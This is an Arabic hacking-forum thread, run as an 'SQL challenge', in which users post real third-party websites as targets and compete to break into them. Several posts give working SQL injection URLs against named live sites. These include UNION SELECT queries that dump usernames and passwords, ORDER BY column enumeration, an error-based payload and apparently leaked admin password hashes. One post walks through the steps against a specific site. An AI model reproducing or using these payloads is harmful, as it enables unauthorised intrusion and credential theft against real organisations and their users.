{SQL}تحدي SQL

[مذكرة الموت]

رد: {SQL}تحدي SQL

مفترس هاذا موقع لك وللاخوان موقع اسرئيلي بسيط
http://www.cfijerusalem.net/shop.php?id=6

 

[مذكرة الموت]

رد: {SQL}تحدي SQL

اما لاخوة الاخرين فحاولو في هدا


http://www.mshop.ir/detail.php?id=302

الموقع صعب على الشباب لاكن حله عندي بتسلى فيه بينما ادور االحل للاخر
الادمن 2d0bfe90e76b7ae23361450882f3bb4d
الباس 2d0bfe90e76b7ae23361450882f3bb4d

الاثنين مشفرين والاثنين نفس بعضلوول

 

[CODE3]

رد: {SQL}تحدي SQL

الفائز في التحدي الاول هو:المفترس:clap::6:

التحدي الثاني

مستوى التحدي أصعب من الاول

http://www.galilcol.ac.il/page.asp?id=17

​

 

[CODE3]

رد: {SQL}تحدي SQL

بما انك قلت( اقصد الاخ مدكرة الموت) دلك الكلام فانا ساعطيك موقع يليق بك


وطبعا هدا خاص لك

وورين شطارتك يا حلو

PHP***93;http://www.falkiaviation.com/page.php?page_id=10

[/php]

اما لاخوة الاخرين فحاولو في هدا

http://www.mshop.ir/detail.php?id=302​

حقنة الموقع الثاني

والمعلومات تظهر اعلى المتصفح
32عمود العمود المصاب رقم 4

http://www.mshop.ir/detail.php?id=-302+union+select+1,2,3,group_concat%28id,0x3a,user,0x3a,pass%29%20,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+user

حقنة الموقع الاول
الاصددار الرابع العن شي
عدد الاعمدة المصابة يمكن9:shutup:

لي عودة لحقنة لضيق الوقت:14:


​

 

[CODE3]

رد: {SQL}تحدي SQL

الموقع صعب على الشباب لاكن حله عندي بتسلى فيه بينما ادور االحل للاخر
الادمن 2d0bfe90e76b7ae23361450882f3bb4d
الباس 2d0bfe90e76b7ae23361450882f3bb4d

الاثنين مشفرين والاثنين نفس بعضلوول

ممنوع الحقن بالبرامجلوول

 

[مذكرة الموت]

رد: {SQL}تحدي SQL

ممنوع الحقن بالبرامج

لو عرفت البرامج تحقن هل الموقع بعتزل الهاك

طيب ورينا شطارتك انت معاه

 

[مذكرة الموت]

رد: {SQL}تحدي SQL

http://www.mshop.ir/detail.php?id=-...12,13,14,15,16,17,18,19,20,21,22,23+from+user

وربي فله
انا حقنته امس دوبل كيري
ما كنت الاحظ فوق الشريط

 

[المفترس]

رد: {SQL}تحدي SQL

الفائز في التحدي الاول هو:المفترس:clap::6:

التحدي الثاني

مستوى التحدي أصعب من الاول

http://www.galilcol.ac.il/page.asp?id=17

ساحاول معاه المهم تكون حقنته انت قبل ما تنزله
حقنته اليس كدلك
​

 

[المفترس]

رد: {SQL}تحدي SQL

اخي هدا ملف asp
مو php

 

[مذكرة الموت]

رد: {SQL}تحدي SQL

هات غيره هاذا asb سيرفر وندوز غثيث مره جيب موقع ثاني ويا حبذا يكون مستوى hard

 

[aircrack -ng]

رد: {SQL}تحدي SQL

الفائز في التحدي الاول هو:المفترس:clap::6:

التحدي الثاني

مستوى التحدي أصعب من الاول

http://www.galilcol.ac.il/page.asp?id=17

هههههههههههههههههههه يلزم كيلو ونص تخمين عشان تضهر الاعمده المصابه وبعدها كيلو تخمين عشان تجيب الباس واليوزر

 

[aircrack -ng]

رد: {SQL}تحدي SQL

نعطي لمحه على هالنوع من الحقن
هون نستعمل الامر order by عادي
طيب طلع معانا 15 عمود

http://www.galilcol.ac.il/page.asp?id=17 order by 15

المرحله التانيه لازم نستعمل التخمين عشان تظهر الاعمده المصابه مثلا انا خمنت شوي ومانفع المهم نخمن مثلا هيك

http://www.galilcol.ac.il/page.asp?id=17 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+administratour

نفرض انو طلع معانا العمود المصاب 5 مكان العمود المصاب نجرب نخمن مثلا password وكمان username

مثلا

http://www.galilcol.ac.il/page.asp?id=17 UNION SELECT 1,2,3,4,password,6,7,8,9,10,11,12,13,14,15+from+administratour

هذا مجرد مثال

 

[مذكرة الموت]

رد: {SQL}تحدي SQL

هههههههههههه حلوه قصه الكيلو يا نسيم

 

[CODE3]

رد: {SQL}تحدي SQL

هات غيره هاذا asb سيرفر وندوز غثيث مره جيب موقع ثاني ويا حبذا يكون مستوى hard

الهدف

www.dbm.gov.ph/ro/index.php?code=ROVI&pid=288

المستوى:
hard

:12::12::12::12:

تحياتي للجميع
​

 

[EvilGue]

رد: {SQL}تحدي SQL

و الله انا مبتدي بس هذا اللي قدرت اوصل له

http://www.deafcenter.lt/about_new....age_id=1000000&lng=LT' union select 1,2,3-- -

الموقع هذا يحقن بالـ error based

لضيق الوقت و الدراسة ما قدرت اعمل شي

تحياتي للجميع =)

 

[المفترس]

رد: {SQL}تحدي SQL

صح المستوى hard

ولكن لا يهمك المفترس يفترس كل شيء

تم معرفة العواميد مصابة وجاري التكملة

 

[المفترس]

رد: {SQL}تحدي SQL

انا متوقف عند forbiden
وما استطعت تخطيها لكن ساحاول ولو تطلب اشهر

 

[akeles]

رد: {SQL}تحدي SQL

مشكورررر أخي

 

[EvilGue]

رد: {SQL}تحدي SQL

تم الحل
اعني الموقع الاول ارسلته على الخاص

 

[EvilGue]

رد: {SQL}تحدي SQL

ههه باقيلي 35 مشاركة على ما اقدر ارسله لك اشوفك بعدين هذي صورة